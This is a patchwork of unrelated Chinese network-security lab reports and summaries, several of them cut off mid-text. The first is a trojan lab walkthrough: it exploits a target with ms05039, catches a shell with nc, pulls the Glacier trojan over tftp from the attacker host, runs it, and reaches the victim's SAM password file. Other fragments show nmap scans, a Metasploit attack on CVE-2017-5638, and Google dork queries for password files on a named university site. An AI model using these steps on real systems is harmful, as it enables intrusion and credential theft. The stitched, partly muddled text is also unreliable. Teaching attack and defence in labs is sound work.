《计算机网络安全》实验报告
2021年计算机网络安全实验报告
《计算机网络安全》试验汇报试验序号: 7 试验项目名称: 木马攻击与防范试验3）选择菜单“设置”->“配置服务程序”;4）设置访问口令为“1234567”, 其它为默认值, 点击“确定”生成木马服务端程序G_SERVER.EXE。
5）将生成木马服务程序G_SERVER.EXE拷贝到tftp服务目录即C:\攻防\tftp32。
6）运行tftpd32.exe。
保持此程序一直开启, 用于等候攻击成功后传输木马服务程序。
步骤2: 进行攻击, 将木马放置在被攻击端1)对靶机P3进行攻击, 首先运行nc -vv -l -p 99接着再开一个dos窗口, 运行ms05039 192.168.20.23 192.168.20.1 99 12)攻击成功后, 在运行nc -vv -l -p 99 dos窗口中出现提醒, 若攻击不成功请参考“缓冲区溢出攻击与防范试验”, 再次进行攻击。
3）在此窗口中运行tftp -i 192.168.20.1 get g_server.exe将木马服务程序G_server.exe上传到靶机P3上, 并直接输入g_server.exe 使之运行。
步骤3: 运行木马用户程序控制远程主机1）打开程序端程序, 单击快捷工具栏中“添加主机”按扭, 如图8所表示。
✓“显示名称”: 填入显示在主界面名称“target”✓“主机地址”: 填入服务器端主机IP地址“192.168.20.23”。
✓“访问口令”: 填入每次访问主机密码, 这里输入“1234567”。
✓“监听端口”: “冰河”默认监听端口是7626, 控制端能够修改它以绕过防火墙。
单击“确定”按扭, 即能够看到主机面上添加了主机。
这时我们就能够像操作自己电脑一样操作远程目标电脑, 比如打开C:\WINNT\system32\config目录能够找到对方主机上保留用户口令SAM文件。
点击鼠标右键, 能够发觉有上传和下载功效。
即能够随意将虚拟机器上机密文件下载到本机上, 也能够把恶意文件上传到该虚拟机上并运行。
大工20春《计算机网络实验》实验报告答案
大工20春《计算机网络实验》实验报告答案一、实验目的本次计算机网络实验旨在通过实际操作和观察，深入理解计算机网络的基本原理和技术，掌握网络配置、数据传输、网络协议分析等方面的知识和技能，提高解决实际网络问题的能力。
二、实验环境本次实验使用的设备包括计算机、交换机、路由器等网络设备，以及网络模拟软件和协议分析工具。
操作系统为 Windows 10，网络模拟软件为 Packet Tracer，协议分析工具为 Wireshark。
三、实验内容与步骤（一）网络拓扑结构设计根据实验要求，设计了一个包含多个子网的网络拓扑结构。
该拓扑结构包括一个核心交换机连接多个子网，每个子网通过路由器与其他子网或外网进行通信。
（二）IP 地址规划与配置为每个网络设备分配了合适的 IP 地址，并进行了子网掩码和网关的设置。
在配置过程中，注意了 IP 地址的唯一性和合法性，避免了地址冲突和网络故障。
（三）交换机配置对核心交换机进行了 VLAN 的划分和配置，将不同的端口划分到不同的 VLAN 中，实现了网络的逻辑隔离和流量控制。
同时，还配置了交换机的端口安全和 STP 协议，提高了网络的安全性和稳定性。
（四）路由器配置对路由器进行了路由协议的配置，包括静态路由和动态路由（如RIP、OSPF 等）。
通过配置路由协议，实现了不同子网之间的通信和数据转发。
（五）网络服务配置在服务器上配置了 DNS 服务、DHCP 服务和 Web 服务等。
通过DNS 服务，实现了域名到 IP 地址的解析；通过 DHCP 服务，为客户端自动分配 IP 地址等网络参数；通过 Web 服务，提供了网页浏览功能。
（六）网络性能测试使用 Ping 命令和 Tracert 命令对网络的连通性和延迟进行了测试，使用 Wireshark 工具对网络数据包进行了捕获和分析，评估了网络的性能和协议的执行情况。
四、实验结果与分析（一）网络连通性测试结果通过 Ping 命令对不同子网的设备进行了连通性测试，结果表明所有设备之间都能够正常通信，没有出现丢包和延迟过高的情况。
计算机网络实验报告(6篇)
计算机网络实验报告（6篇）计算机网络实验报告（通用6篇）计算机网络实验报告篇1一、实验目的1、熟悉微机的各个部件；2、掌握将各个部件组装成一台主机的方法和步骤；3、掌握每个部件的安装方法；4、了解微型计算机系统的基本配置；5、熟悉并掌握DOS操作系统的使用；6、掌握文件、目录、路径等概念；7、掌握常用虚拟机软件的安装和使用；8、熟悉并掌握虚拟机上WINDOWS操作系统的安装方法及使用；9、掌握使用启动U盘的制作和U盘安装windows操作系统的方法；10、了解WINDOWS操作系统的基本配置和优化方法。
二、实验内容1.将微机的各个部件组装成一台主机；2.调试机器，使其正常工作；3.了解计算机系统的基本配置。
4.安装及使用虚拟机软件；5.安装WINDOWS7操作系统；6.常用DOS命令的使用；7.学会制作启动U盘和使用方法；8.WINDOWS7的基本操作；9.操作系统的基本设置和优化。
三、实验步骤（参照实验指导书上的内容，结合实验过程中做的具体内容，完成此项内容的撰写）四、思考与总结（写实验的心得体会等）计算机网络实验报告篇2windows平台逻辑层数据恢复一、实验目的：通过运用软件R-Studio_5.0和winhe_对误格式化的硬盘或者其他设备进行数据恢复，通过实验了解windows平台逻辑层误格式化数据恢复原理，能够深入理解并掌握数据恢复软件的使用方法，并能熟练运用这些软件对存储设备设备进行数据恢复。
二、实验要求：运用软件R-Studio_5.0和winhe_对电脑磁盘或者自己的U盘中的删除的数据文件进行恢复，对各种文件进行多次尝试，音频文件、系统文件、文档文件等，对简单删除和格式化的磁盘文件分别恢复，并检查和验证恢复结果，分析两个软件的数据恢复功能差异与优势，进一步熟悉存储介质数据修复和恢复方法及过程，提高自身的对存储介质逻辑层恢复技能。
三、实验环境和设备：（1）Windows _P 或Windows 20__ Professional操作系统。
计算机安全实验报告
一、实验目的随着信息技术的飞速发展，计算机网络安全问题日益凸显。
为了提高学生的网络安全意识，掌握网络安全防护技能，本次实验旨在通过模拟网络安全攻击和防护，让学生了解网络安全的基本概念、攻击手段和防护措施，提高学生的网络安全防护能力。
二、实验环境1. 实验软件：Kali Linux（用于模拟攻击）、Metasploit（用于攻击工具）、Wireshark（用于网络数据包捕获与分析）2. 实验设备：两台计算机（一台作为攻击者，一台作为受害者）三、实验内容1. 网络扫描（1）使用Nmap扫描目标主机的开放端口，了解目标主机的基本信息。
（2）分析扫描结果，找出可能存在的安全漏洞。
2. 漏洞利用（1）针对目标主机发现的漏洞，利用Metasploit进行漏洞利用。
（2）分析攻击过程，了解漏洞利用的原理和技巧。
3. 数据包捕获与分析（1）使用Wireshark捕获攻击过程中的网络数据包。
（2）分析数据包内容，了解攻击者的攻击手法和目标主机的响应。
4. 防护措施（1）针对发现的漏洞，采取相应的防护措施，如更新系统补丁、关闭不必要的服务等。
（2）学习防火墙、入侵检测系统等网络安全设备的使用方法，提高网络安全防护能力。
四、实验步骤1. 准备实验环境（1）在攻击者和受害者主机上安装Kali Linux操作系统。
（2）配置网络，使两台主机处于同一局域网内。
2. 网络扫描（1）在攻击者主机上打开终端，输入命令“nmap -sP 192.168.1.1”进行扫描。
（2）查看扫描结果，了解目标主机的开放端口。
3. 漏洞利用（1）在攻击者主机上打开终端，输入命令“msfconsole”进入Metasploit。
（2）搜索目标主机存在的漏洞，如CVE-2017-5638。
（3）使用Metasploit中的CVE-2017-5638漏洞模块进行攻击。
4. 数据包捕获与分析（1）在受害者主机上打开Wireshark，选择正确的网络接口。
《计算机网络实验》实验报告
《计算机网络实验》实验报告一、实验目的计算机网络实验是计算机相关专业学习中的重要实践环节，通过实验操作，旨在深入理解计算机网络的基本原理、协议和技术，提高我们的动手能力和解决实际问题的能力。
具体目的包括：1、熟悉计算机网络的体系结构和各层协议的工作原理。
2、掌握网络设备的配置和管理方法，如交换机、路由器等。
3、学会使用网络工具进行网络性能测试和故障诊断。
4、培养团队合作精神和沟通能力，提高解决复杂问题的综合素养。
二、实验环境本次实验在学校的计算机网络实验室进行，实验室配备了以下设备和软件：1、计算机若干台，安装了 Windows 操作系统和相关网络工具软件。
2、交换机、路由器等网络设备。
3、网络线缆、跳线等连接设备。
三、实验内容及步骤实验一：以太网帧的捕获与分析1、打开网络协议分析软件 Wireshark。
2、将计算机连接到以太网中，启动捕获功能。
3、在网络中进行一些数据传输操作，如访问网站、发送文件等。
4、停止捕获，对捕获到的以太网帧进行分析，包括帧的格式、源地址、目的地址、类型字段等。
实验二：交换机的基本配置1、连接交换机和计算机，通过控制台端口进行配置。
2、设置交换机的主机名、管理密码。
3、划分 VLAN，并将端口分配到不同的 VLAN 中。
4、测试不同 VLAN 之间的通信情况。
实验三：路由器的基本配置1、连接路由器和计算机，通过控制台端口或Telnet 方式进行配置。
2、设置路由器的接口 IP 地址、子网掩码。
3、配置静态路由和动态路由协议（如 RIP 或 OSPF）。
4、测试网络的连通性。
实验四：网络性能测试1、使用 Ping 命令测试网络的延迟和丢包率。
2、利用 Tracert 命令跟踪数据包的传输路径。
3、使用网络带宽测试工具测试网络的带宽。
四、实验结果与分析实验一结果与分析通过对捕获到的以太网帧的分析，我们清楚地看到了帧的结构，包括前导码、目的地址、源地址、类型字段、数据字段和帧校验序列等。
计算机网络安全实验报告
《计算机网络安全》实验报告实验序号：3 实验项目名称：网络安全编程（二）学号姓名专业、班实验地点指导教师实验时间2011-10-11一、实验目的及要求1. 了解Windows的内部机制；2．学习Windows下的网络安全编程；3．掌握文件系统编程、定时器编程、驻留程序编程、多线程编程。
二、实验设备（环境）及要求软件开发平台：VC++ 6.0三、实验内容与步骤1、编写程序，实现添加系统用户的功能，可参考案例proj3_15.cpp；2、编写程序，实现自动获取系统时间的功能，可参考案例proj3_17.cpp；3、参考案例proj3_18.cpp，练习定时器编程；4、参考案例proj3_20.cpp，练习自动内存驻留程序的编程；5、参考案例proj3_21.cpp及proj3_22.cpp,练习多线程编程，并分析出案例proj3_21.cpp及proj3_22.cpp的异同。
四、实验结果与数据处理4.1添加系统用户：编译并执行程序，建立用户XZJIE_PC,在DOS下用命令“net user”来查看系统添加了新用户XZJIE_PC，如图4.1.1所示。
图4.1.1也可以进入控制面板的“用户账户”中进行验证，如图 4.1.2所示。
图4.1.24.2自动获取系统时间：图4.24.3定时器编程：此题直接运行CPP程序会出现执行错误。
解决方法是要建一个空的Win32 Application 工程，然后再建一个C++ s ource File输入程序代码，编译并执行程序，我们看到系统会弹出一个windows窗口，窗口的颜色会以蓝色和红色交替变换，如图 4.3.1、图4.3.2所示。
图4.3.1。
计算机网络安全实验报告
计算机学院信息安全专业计算机网络安全课程实验报告班级：____ _ _ _学号：___姓名：_ __成绩：________________ _二○一三年六月《计算机网络安全》课程实验评价表一、实验目的1、通过实验掌握常见的网络扫描技术原理，如TCP扫描、UDP扫描、TCP SYN 扫描，ICMP扫描等；2、通过用尽可能多的方法设计和实现网络端口和主机扫描，提高学生对网络扫描的全面了解、提高学生的编程能力；3、通过实验动手加深学生对课堂讲授知识的理解，使其熟练掌握基本的网络编程技术和方法；4、通过编写端口和主机扫描程序，熟悉socket 套接字编程原理，加强学生对网络程序调试的能力。
二、实验原理2、1 TCP SYN SCAN，半开扫描半打扫描（half-open scanning），即TCP SYN scan。
它利用了TCP连接建立三次握手的第一步，并且没有建立一个完整的TCP连接。
实现办法是向远端主机某端口发送一个只有SYN标志位的TCP报文段，如果主机反馈一个SYN|ACK数据包，那么，这个主机正在监听该端口，如果反馈的是RST数据包，说明，主机没有监听该端口。
在X-Scanner扫描工具上就有SYN的选择项。
源主机发送SYN报文开始三次握手过程，并等待目标主机的相应。
如果源主机收到了SYN/ACK包，说明端口处于活跃状态，如果源主机收到RST/ACK包，说明目标主机的对应端口处于不活跃状态；目标主机向源主机返回应答后，源主机就中止与目标主机的连接，所以称为TCP半连接。
由于半连接并没有建立连接，所以这种方法比较隐蔽，目标主机的日志文件可能不会记录到该种方式的扫描。
利用这个方式称作为半开扫描。
2.2 TCP connect扫描这是最基本的TCP扫描。
操作系统提供的connect()系统调用，用来与每一个感兴趣的目标计算机的端口进行连接。
如果端口处于侦听状态，那么connect()就能成功。
否则，这个端口是不能用的，即没有提供服务。
计算机网络安全实验总结
计算机网络安全实验本部分主要包括计算机网络操作系统的配置，网络扫描，网络监听，网络入侵。
1操作系统的安全配置：一个好的网络系统配置会有利于计算机文件的安全，保护管理员的信息等，对操作系统的配置我们总共采用了初级配置，中级配置和高级配置相关步骤，现将其主要介绍如下：注：（主要介绍Windows 2000服务器，同时本人可能用不同机器做不同实验，予以理解）操作系统的安全将决定网络的安全，从保护级别上分成安全初级篇、中级篇和高级篇，共36条基本配置原则，本人只介绍部分相关配置：准备工作：配置之前先进行基本配置包括 IP SubNet Mask Defaulf gateway DNS :首先使用IPconfig查看网络的相关配置如下图：图1-1 本地网络相关配置图由于事先网络中心已经对其进行配置，我们只需打开网上邻居的属性TCP/IP协议双击进行配置即可，当然如果是一台笔记本经常移动我们可以采用DHCP协议对其进行默认配置即可。
1.1初级配置：1.停止Guest账号：在计算机管理的用户里面把Guest帐号停用，任何时候都不允许Guest帐号登陆系统。
为了保险起见，最好给Guest 加一个复杂的密码，可以打开记事本，在里面输入一串包含特殊字符,数字，字母的长字符串这里我们设置liuyaotao。
用它作为Guest帐号的密码。
并且修改Guest帐号的属性，设置拒绝远程访问，Xp中没有密码设置的功能。
2000系统和2000sever有，具体演示在录像中。
2.限制用户数量：去掉所有的测试帐户、共享帐号和普通部门帐号等等。
用户组策略设置相应权限，并且经常检查系统的帐户，删除已经不使用的帐户。
打开控制面板，用户管理进行相关的操作。
一般对于Windows NT/2000/XP主机，如果系统帐户超过10个，一般能找出一两个弱口令帐户，对系统不利，所以帐户数量要小于十个，这里我们设置用户为3个Administrator,Student,Guest，具体演示在录像之中，请予以观赏。
网络安全实验报告[共五篇]
![网络安全实验报告[共五篇]](https://img.taocdn.com/s3/m/1aa839ecd05abe23482fb4daa58da0116c171f0c.png)
网络安全实验报告[共五篇]第一篇：网络安全实验报告实验一：网络扫描实验【实验目的】了解扫描的基本原理，掌握基本方法，最终巩固主机安全【实验内容】1、学习使用Nmap的使用方法2、学习使用漏洞扫描工具【实验环境】1、硬件 PC机一台。
2、系统配置：操作系统windows XP以上。
【实验步骤】1、端口扫描1）解压并安装ipscan15.zip，扫描本局域网内的主机2）解压nmap-4.00-win32.zip，安装WinPcap运行cmd.exe，熟悉nmap命令(详见“Nmap详解.mht”)。
3）试图做以下扫描：扫描局域网内存活主机，扫描某一台主机或某一个网段的开放端口扫描目标主机的操作系统试图使用Nmap的其他扫描方式，伪源地址、隐蔽扫描等2、漏洞扫描解压X-Scan-v3.3-cn.rar，运行程序xscan_gui.exe，将所有模块选择扫描，扫描本机，或局域网内某一台主机的漏洞【实验背景知识】1、扫描及漏洞扫描原理见第四章黑客攻击技术.ppt2、NMAP使用方法扫描器是帮助你了解自己系统的绝佳助手。
象Windows 2K/XP 这样复杂的操作系统支持应用软件打开数百个端口与其他客户程序或服务器通信，端口扫描是检测服务器上运行了哪些服务和应用、向Internet或其他网络开放了哪些联系通道的一种办法，不仅速度快，而且效果也很不错。
Nmap被开发用于允许系统管理员察看一个大的网络系统有哪些主机以及其上运行何种服务。
它支持多种协议的扫描如UDP，TCP connect(),TCP SYN(half open), ftp proxy(bounce attack),Reverse-ident, ICMP(ping sweep), FIN, ACK sweep,Xmas Tree, SYN sweep，1 和Null扫描。
可以从SCAN TYPES一节中察看相关细节。
Nmap还提供一些实用功能如通过tcp/ip来甄别操作系统类型、秘密扫描、动态延迟和重发、平行扫描、通过并行的PING侦测下属的主机、欺骗扫描、端口过滤探测、直接的RPC扫描、分布扫描、灵活的目标选择以及端口的描述。
《计算机网络》实验报告
一、实验目的1. 理解计算机网络的基本概念和结构。
2. 掌握网络设备的配置方法，包括交换机、路由器等。
3. 学习网络协议的作用和配置方法，如TCP/IP、DHCP等。
4. 通过实验加深对网络故障诊断和排除能力的培养。
二、实验内容1. 实验环境实验设备：一台PC机、一台交换机、一台路由器、双绞线、网线等。
实验软件：Windows操作系统、网络管理软件等。
2. 实验步骤（1）网络设备连接首先，将PC机通过网线连接到交换机的一个端口上。
然后，将交换机的另一个端口连接到路由器的WAN口。
最后，将路由器的LAN口连接到PC机的另一台交换机上。
（2）网络设备配置①交换机配置进入交换机命令行界面，配置交换机的基本参数，如VLAN ID、IP地址、子网掩码等。
②路由器配置进入路由器命令行界面，配置路由器的接口参数，如WAN口和LAN口的IP地址、子网掩码等。
同时，配置路由协议，如静态路由、动态路由等。
③PC机配置在PC机的网络设置中，将IP地址、子网掩码、默认网关等信息设置为与路由器LAN口相同的参数。
（3）网络测试①测试PC机与交换机之间的连通性在PC机中ping交换机的IP地址，检查PC机是否能够与交换机通信。
②测试PC机与路由器之间的连通性在PC机中ping路由器的IP地址，检查PC机是否能够与路由器通信。
③测试不同VLAN之间的连通性在PC机中ping另一个VLAN中的设备，检查不同VLAN之间的设备是否能够相互通信。
三、实验结果与分析1. 实验结果（1）PC机与交换机之间连通（2）PC机与路由器之间连通（3）不同VLAN之间的设备相互通信2. 实验分析通过本次实验，我们成功搭建了一个简单的计算机网络，并掌握了网络设备的配置方法。
在实验过程中，我们遇到了一些问题，如网络设备之间的连通性、VLAN之间的通信等。
通过查阅资料和调试，我们解决了这些问题，加深了对计算机网络的理解。
四、实验总结1. 通过本次实验，我们了解了计算机网络的基本概念和结构，掌握了网络设备的配置方法。
《计算机网络安全》实验报告
《计算机网络安全》实验报告 实验名称：信息搜集年级: 2014级专业: 网络工程班级：一班姓名：张帅学号： 1425131032成绩:指导教师：卢正添提交报告时间： 2017年 5月 21 日一、实验目的1、了解信息搜集的一般步骤2、学会熟练使用ping命令3、学会利用Nmap等工具进行信息搜集二、系统环境Windows、Linux三、网络环境交换网络结构四、实验步骤与实验结果一．信息搜集1。
ping探测主机A开启命令行，对主机B进行ping探测，根据主机B的回复,可以确定主机A和主机B之间的连通情况，还可以根据回复数据包的TTL值对操作系统进行猜测.回复数据包的TTL值：64 ，主机B操作系统可能为：Linux 。
2。
Nmap扫描（1）对活动主机进行端口扫描主机A使用Nmap工具对主机B进行TCP端口同步扫描（范围1—150）：Nmap命令nmap –sS 172。
16。
0.60 –p 1-150 ；主机B开放的TCP端口21 22 23 25 80 88 139 。
对主机B进行UDP端口扫描(范围是110—140）:Nmap命令nmap –sU 172。
16。
0.60 –p 110—140 ；主机B开放的UDP端口111 123 137 138 。
（2）对活动主机操作系统进行探测主机A对主机B进行TCP/IP指纹特征扫描：Nmap命令nmap –O 172.16.0。
60（3)对活动主机运行服务进行探测主机A单击平台工具栏“协议分析器”按钮，启动协议分析器进行数据包捕获。
打开IE在地址栏中输入http://主机B的IP，访问主机B的web服务，停止协议分析器，查看捕获结果。
图1-1—1可做为参考.图1-1-1 HTTP会话分析由图1—1—1可判断目标主机web服务使用的软件类型是Apache/2。
2.0(Fedora）。
请探测目标主机FTP服务使用的软件类型是vsftp.（4）对活动主机IP协议进行探测主机A使用Nmap命令对主机B进行IP协议探测：Namp命令nmap –sO 172.16。
计算机网络安全实验报告
华中科技大学计算机学院《计算机网络安全》实验报告实验名称使用Google Hacking分析Web网站团队成员：注：团队成员贡献百分比之和为1教师评语：一.环境（详细说明运行的操作系统，网络平台，机器的IP地址）操作系统 Windows XP 专业版 32位 SP3 ( DirectX 9.0c ) 网络平台电信局域网IP地址 192.168.1.12二.实验目的1、掌握google搜索引擎的高级技巧2、掌握google搜索对Web安全信息搜集的技巧3、利用google hacking技术对一个Web站点进行安全信息搜集，并指出该站点可能的存在的安全问题。
三.实验步骤及结果（包括主要流程和说明）1、学习google高级搜索技巧：intitle: 搜索在网页标题中出现第一个关键词的网页。
filetype: 搜索特定扩展名的文件（如.doc .pdf .ppt）。
inurl: 返回的网页链接中包含第一个关键字的网页。
这样可以找到一些相关网站管理员的登录url,例如在上述搜索第八页有：2、利用google搜索引擎对Web站点安全相关信息进行搜集：intitle:"index of" etc/password可以找到一些因配置不合理而泄漏的密码文件。
打开其中某一条可以看到相应的一些文件，包括密码文件。
3、利用google搜索引擎对一个具体的Web站点进行分析：使用Google对华科校园网站进行测试。
先寻找网站的后台管理地址：Site: inurl:login可以看到一系列相关的后台登录页面：例如华科校友管理系统的登录页面：我选择对华科校友管理系统进行google hacking实验。
首先以site: intitle:index of / admin搜索一下管理员是否因安全意识不强而泄漏一些保密文件：没有得到任何结果。
使用site: intitle:index of /passwordsite: intitle:index of /secretsite: intitle:index of /passwdsite: intitle:index of /htppasswdsite: intitle:index of /master.wdsite: intitle:index of / etc / passwdsite: intitle:index of / passlist.txtsite: intitle:index of / auth_user_file.txtsite: intitle:index of / .bash_historysite: inurl:config.txtsite: inurl:loadsite: inurl:uploadsite: inurl:filesite: inurl:admin filetype:txtsite: inurl:admin filetype:dbsite: inurl:admin filetype:cfgsite: inurl:passwd filetype:txtsite: inurl:file_upload.php进行搜索都没有得到有用的秘密文件，也没有发现上传漏洞，所以可以认为华科校友管理系统对google hacking来说是比较安全的，或者说管理员的安全意识比较强，没有无意泄漏秘密文件。
计算机网络安全实验2_snort与其基础环境的安装配置
《计算机网络安全》实验报告实验序号： 2 实验项目名称：snort与其基础环境的安装配置学号姓名专业班级20网络工程实验地点指导教师实验时间2022-10-13 snort与其基础环境的安装配置【实验目的】1)熟悉基础环境的搭建和snort的安装配置【实验原理】1)Snort能够对网络上的数据包进行抓包分析，但区别于其它嗅探器的是，它能根据所定义的规则进行响应及处理。
Snort 通过对获取的数据包，进行各规则的分析后，根据规则链，可采取Activation（报警并启动另外一个动态规则链）、Dynamic（由其它的规则包调用）、Alert（报警），Pass（忽略），Log （不报警但记录网络流量）五种响应的机制。
Snort有数据包嗅探，数据包分析，数据包检测，响应处理等多种功能，每个模块实现不同的功能，各模块都是用插件的方式和Snort相结合，功能扩展方便。
例如，预处理插件的功能就是在规则匹配误用检测之前运行，完成TIP碎片重组，http解码，telnet解码等功能，处理插件完成检查协议各字段，关闭连接，攻击响应等功能，输出插件将得理后的各种情况以日志或警告的方式输出。
【实验环境】CentOS6.5：192.168.1.2【实验步骤】一、安装snort+barnyard21.1进入/home/software目录，解压libpcap-1.0.0.tar.gz。
如图1所示图11.2进入目录libpcap-1.0.0的目录执行“./configure”命令进行配置。
如图2所示图21.3执行命令“make && make install”，进行libpcap的编译安装。
如图3所示图31.4进入目录“/home/software”，ls查看文件，执行命令“tar zxvf daq-2.0.4.tar.gz”，解压daq-2.0.4.tar.gz文件。
如图4所示图41.5使用cd命令切换到daq-2.0.4的目录下。
计算机网络安全 实验
计算机网络安全实验计算机网络安全实验计算机网络安全是指保护计算机网络和系统免受非法入侵、病毒攻击、信息泄露等威胁的技术和措施。
为了更好地了解和掌握网络安全知识，学生应该进行相应的实验。
下面我将介绍一个关于网络安全的实验。
实验名称：网络防火墙配置与测试实验目的：通过实验，了解网络防火墙的工作原理、配置方法和测试手段，加深对计算机网络安全的理解。
实验设备：1台计算机，3台路由器，1台交换机，线缆若干。
实验过程：1. 确定网络拓扑：将3台路由器和1台交换机进行连接，形成一个小型的局域网。
2. 配置网络设备：根据实验要求，为每个网络设备分配IP地址，并设置子网掩码、网关和DNS服务器地址。
3. 配置防火墙：选择一台路由器作为防火墙，根据实验要求进行配置，设置各种安全策略、访问控制列表等。
4. 测试防火墙：使用其他计算机对网络进行攻击，如扫描端口、发送恶意代码等，观察防火墙的工作情况和效果。
5. 分析测试结果：根据实验结果，分析防火墙的工作情况和性能，总结优缺点，并提出改进意见。
注意事项：1. 实验过程中，要保证实验设备的安全和稳定运行，防止出现故障或数据丢失。
2. 实验过程中，要保持网络流量的稳定，以便观察防火墙的实际效果。
3. 实验结束后，要及时清理实验环境，恢复网络配置，确保网络安全和正常使用。
实验收获：通过这个实验，我深入了解了网络防火墙的工作原理和配置方法，学会了如何测试和分析防火墙的效果。
我明白了防火墙在保护计算机网络和系统安全方面的重要性，并意识到了网络安全威胁的严重性和复杂性。
我提高了对网络安全的重视和警惕，增强了自我保护能力和网络安全意识。
总结：计算机网络安全是当前亟需解决的问题之一，网络安全实验是学习和掌握网络安全知识的重要手段。
通过实际操作和实验观察，我们可以更深入地了解网络安全的原理、技术和方法，提高网络安全防护能力，预防和应对各种网络安全威胁。
因此，网络安全实验对于提高计算机网络安全水平和培养网络安全人才具有重要意义。
计算机网络安全 实验
计算机网络安全实验
计算机网络安全是指保护计算机网络免受未经授权的访问、破坏、修改或者泄漏信息的威胁的一系列技术和措施。
随着互联网的普及和应用的广泛，计算机网络安全问题日益凸显，因此开展实验来探索和加强网络安全的能力非常重要。
计算机网络安全实验的目的是帮助学生了解和掌握网络攻击和防护的基本原理和技术。
通过实验，学生可以亲自动手实践，了解网络攻击的手段和原理，掌握常见的网络安全漏洞和攻击方法，并学会使用相应的工具和技术来进行网络防护和应急响应。
在计算机网络安全实验中，学生可以学习到如下内容：
1.网络攻击与防护基础知识：学生可以通过实验了解网络攻击
的类型、特点和原理，学习常见的防护技术和策略。
2.网络扫描和漏洞评估：学生可以学习使用网络扫描工具来发
现网络中的漏洞，评估网络的安全性，并提出相应的修复建议。
3.密码攻击与防护：学生可以学习利用常见的密码攻击方法破
解密码，同时也可以学习如何设计和使用强密码，以提高系统的安全性。
4.网络流量分析与入侵检测：学生可以学习使用网络流量分析
工具来检测网络中的异常流量和入侵行为，提高网络的安全防护能力。
5.应急响应与恶意代码分析：学生可以学习如何进行网络安全事件的应急响应，以及对恶意代码的分析和处理，提高网络应急能力。
通过计算机网络安全实验，学生能够加深对网络攻击和防护技术的理解，掌握相关的操作技能，并且培养对网络安全的意识和保护意识。
这些实验不仅能够帮助学生学习专业知识，还可以提升学生的实践能力和问题解决能力，为今后从事网络安全相关的工作打下坚实的基础。
计算机网络安全技术 实验报告
计算机网络安全技术实验报告一、实验目的随着信息技术的飞速发展，计算机网络在各个领域得到了广泛的应用。
然而，网络安全问题也日益凸显，给个人、企业和社会带来了严重的威胁。
本次实验的目的在于深入了解计算机网络安全技术，通过实际操作和实验分析，掌握常见的网络攻击手段和防御方法，提高网络安全意识和防范能力。
二、实验环境本次实验使用了以下软件和硬件环境：1、操作系统：Windows 10 专业版2、网络模拟软件：Packet Tracer3、漏洞扫描工具：Nmap4、防火墙：Windows Defender Firewall三、实验内容（一）网络拓扑结构搭建使用 Packet Tracer 软件搭建了一个简单的网络拓扑结构，包括客户端、服务器、路由器和交换机等设备，模拟了一个企业内部网络环境。
（二）网络攻击实验1、端口扫描使用Nmap 工具对网络中的主机进行端口扫描，获取开放端口信息，分析可能存在的服务和漏洞。
2、漏洞利用针对扫描发现的漏洞，尝试利用相关工具进行攻击，如 SQL 注入攻击、缓冲区溢出攻击等。
3、恶意软件植入通过网络共享、邮件附件等方式，向客户端植入恶意软件，观察其对系统的影响。
（三）网络防御实验1、防火墙配置在 Windows Defender Firewall 中设置访问规则，限制外部网络对内部网络的访问，阻止非法连接。
2、入侵检测与防范安装入侵检测系统（IDS），实时监测网络中的异常流量和攻击行为，并及时采取防范措施。
3、系统更新与补丁管理定期对操作系统和应用程序进行更新，安装安全补丁，修复已知漏洞，提高系统的安全性。
四、实验结果与分析（一）网络攻击实验结果1、端口扫描通过端口扫描发现，服务器开放了 80（HTTP）、443（HTTPS）、3389（远程桌面）等端口，客户端开放了 135（RPC）、139（NetBIOS）、445（SMB）等端口。
这些开放端口可能存在潜在的安全风险。
2、漏洞利用在 SQL 注入攻击实验中，成功获取了数据库中的敏感信息；在缓冲区溢出攻击实验中，导致服务器系统崩溃。
计算机网络安全-实验报告精选全文完整版
、可编辑修改精选全文完整版《计算机网络安全》实验报告与习题册2012 / 2013 学年第1学期系别专业班级姓名学号指导教师实验一使用网络监听工具一、实验要求与目的1.使用监听工具NetXray2.熟悉Sniffer的原理及被监听的危害二、实验内容：1.熟悉NetXray界面2.设置过滤条件（如网络病毒），过滤报文3.监视本机的业务流量三、实验步骤四、实验结果五、习题1.TCP和UDP之间的主要区别是什么？2.网桥、路由器和网关的主要区别是什么？3.将一个C类网络分成8个子网，若我们用的网络号为202.204.125.试写出网络划分的方法和子网掩码。
实验二使用Sniffer Pro 网络分析器一、实验要求与目的1.学会Sniffer Pro安装；2.掌握Sniffer Pro常用功能；3.理解网络协议分析。
二、实验内容1. 安装Sniffer Pro2. 熟悉功能面板3. 使用Sniffer Pro网络分析器抓取某台机器的所有数据包三、实验步骤四、实验结果五、习题1．网络安全主要有哪些关键技术？如何实施网络安全的安全策略？2.访问控制的含义是什么？计算机系统安全技术标准有哪些？3.数据库的加密有哪些要求？加密方式有哪些种类？实验三实现加解密程序一、实验要求与目的1.熟悉加密、解密的算法；懂得加密在通信中的重要作用2.熟悉密码工作模式3.使用高级语言实现一个加密、解密程序二、实验内容编写DES算法对一个文件进行加密和解密。
三、实验步骤四、实验结果五、习题1.计算机病毒的基本特征是什么？2.简述计算机病毒攻击的对象及所造成的危害。
3.简述宏病毒的特征及其清除方法。
4.什么是网络病毒？防治网络病毒的要点是什么？实验四安装和配置证书服务一、实验要求与目的1.了解数字证书工作原理以及对其简单的应用2.了解PKI技术。
二、实验内容运用数字证书对邮件进行加密，体会数据加密的过程与其安全性的体现。
三、实验步骤四、实验结果五、习题1.用维吉尼亚法加密下段文字：COMPUTER AND PASSWORD SYSTEM ，密钥为KEYWORD2.简述DES算法中的依次迭代过程和加密函数f的计算过程实验五使用防火墙一、实验要求与目的1. 熟悉天网防火墙软件的使用2. 熟悉防火墙基本知识二、实验内容通过对天网防火墙软件的熟悉与使用了解在网络安全中防火墙的重要性，并学会简单的防火墙配置三、实验步骤四、实验结果五、习题1.已知RSA密码体制的公开密码为n=55,e=7,试加密明文m=10,通过求解p,q和d破译这种密码体制。
网络安全实验报告5则范文
网络安全实验报告5则范文第一篇：网络安全实验报告网络安全实验1.访问网站的证书类型以及各种证书的作用1.1 个人证书（个人身份证书、个人Email证书）1.11个人身份证书经SHECA签名的包含个人身份信息的证书，它用于标志自然人在进行信息交换、电子签名、电子政务、电子商务等网络活动中的身份，并且保障信息在传输中的安全性和完整性，可以存储在硬盘、USB Key、IC卡等介质中。
1.12个人Email证书用于标志自然人申请者电子邮件（E-mail）的身份。
证书持有人可以在电子邮件中对信件内容进行加密和签名操作。
